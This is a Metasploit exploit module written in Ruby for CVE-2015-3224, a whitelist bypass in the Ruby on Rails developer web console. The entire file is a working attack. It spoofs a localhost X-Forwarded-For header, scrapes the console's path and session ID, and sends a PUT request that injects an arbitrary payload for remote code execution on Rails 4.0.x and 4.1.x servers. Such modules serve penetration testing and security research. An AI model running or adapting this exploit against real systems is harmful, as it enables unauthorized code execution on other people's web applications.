##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution',
'Description' => %q{
This module exploits an IP whitelist bypass vulnerability in the developer
web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also
achieve code execution on Rails 4.2.x if the attack is launched from a
whitelisted IP range.
},
'Author' => [
'joernchen <joernchen[at]phenoelit.de>', # Discovery & disclosure
'Ben Murphy <benmmurphy@gmail.com>', # Discovery & disclosure
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-3224' ],
[ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ],
[ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ],
[ 'URL', 'https://hackerone.com/reports/44513' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultOptions' => { 'PrependFork' => true },
'DisclosureDate' => 'Jun 16 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
], self.class)
end
#
# Identify the web console path and session ID, then inject code with it
#
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'headers' => {
'X-Forwarded-For' => '0000::1'
}
}, 25)
unless res
print_error("Error: No response requesting #{datastore['TARGETURI']}")
return
end
web_console_path = nil
# Support vulnerable Web Console versions
if res.body.to_s =~ /data-remote-path='([^']+)'/
web_console_path = "/" + $1
end
# Support newer Web Console versions
if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
web_console_mount = $1
unless res.body.to_s =~ /data-session-id='([^']+)'/
print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
return
end
web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
end
unless web_console_path
if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
else
print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
end
return
end
print_status("Sending payload to #{web_console_path}")
res = send_request_cgi({
'uri' => web_console_path,
'method' => 'PUT',
'headers' => {
'X-Forwarded-For' => '0000::1',
'Accept' => 'application/vnd.web-console.v2',
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'input' => payload.encoded
}
}, 25)
end
end
